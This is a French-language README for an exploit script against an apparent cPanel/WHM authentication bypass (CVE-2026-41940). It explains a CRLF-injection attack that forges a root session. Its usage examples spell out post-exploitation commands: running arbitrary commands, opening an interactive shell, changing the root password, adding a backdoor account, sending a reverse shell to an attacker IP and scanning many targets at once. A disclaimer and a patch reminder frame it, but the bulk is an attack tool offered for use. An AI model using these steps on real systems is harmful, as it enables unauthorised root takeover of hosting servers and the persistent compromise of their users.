CVE-2026-41940: Contournement de l'authentification cPanel/WHM (Cible unique et multi-cibles)
Avertissement : Ce document et le script associé (exploit.py) sont fournis strictement à des fins éducatives, de recherche en sécurité et de tests d'intrusion autorisés. N'utilisez pas ce logiciel contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
Vue d'ensemble
exploit.py est un script qui démontre une vulnérabilité de contournement de l'authentification (CVE-2026-41940) dans cPanel & WHM. La vulnérabilité permet à un attaquant non authentifié d'injecter une session root dans le cache du démon via une faille d'injection CRLF, accordant finalement un accès WHM de niveau root sans exiger d'identifiants valides.
Analyse de la vulnérabilité et déroulement de l'exploitation
L'exploit fonctionne en exploitant une vulnérabilité d'injection CRLF (Carriage Return Line Feed) dans le mécanisme de gestion de l'authentification Basic, combinée à une faille de propagation de session. Le script automatise l'attaque en quatre étapes :
- Création de session pré-authentification : Se connecte aux points de terminaison de connexion publics (par ex.,
/login/ ou /cgi/login.cgi) pour acquérir un cookie de session non authentifié de base (whostmgrsession).
- Injection CRLF : Envoie un en-tête d'authentification Basic modifié contenant une charge utile encodée en Base64 qui injecte des champs de session root directement dans le cache de session de
cpsrvd. La réponse de redirection du serveur divulgue le jeton de sécurité généré (cpsess).
- Propagation de session : Le cookie de session brut est envoyé à un point de terminaison WHM authentifié, déclenchant
do_token_denied pour propager la session falsifiée dans le cache du démon — ce qui en fait une session authentifiée valide.
- Vérification : Accède aux points de terminaison de l'API WHM restreints (par ex.,
/json-api/version) en utilisant la session falsifiée pour confirmer l'accès de niveau root.
Prérequis
- Python 3.x
- Bibliothèque
requests
Utilisation
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
Arguments
Sélection de la cible
| Argument | Description |
|---|
--target URL | URL WHM unique (par ex., https://target:2087) |
--target-file FILE | Fichier contenant les cibles (une ip:port par ligne) — active automatiquement le mode vérification |
Options réseau et de base
Options d'exploitation (Post-contournement)
Options de sortie
| Argument | Description |
|---|
--output FILE | Enregistrer le jeton de session et les détails dans un fichier JSON |
Exemples
# Vérifier si la cible est vulnérable
python exploit.py --target https://target:2087 --check
# Extraire les informations du serveur (version, comptes, privilèges)
python exploit.py --target https://target:2087 --dump
# Générer une URL de connexion root en un clic (à coller immédiatement dans le navigateur)
python exploit.py --target https://target:2087 --session
# Exécuter une commande
python exploit.py --target https://target:2087 --exec "id"
# Ouvrir un shell WHM interactif
python exploit.py --target https://target:2087 --shell
# Changer le mot de passe root
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Appeler l'API WHM directement
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Créer un compte cPanel backdoor
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Envoyer un reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Remplacer le nom d'hôte (à utiliser lorsque la découverte automatique échoue)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Analyser plusieurs cibles (mode vérification uniquement)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Enregistrer la session dans un fichier
python exploit.py --target https://target:2087 --dump --output results.json
Commandes du shell interactif
Lorsque vous utilisez --shell, les commandes suivantes sont disponibles :
Rappel
Appliquez immédiatement les derniers correctifs de sécurité cPanel/WHM.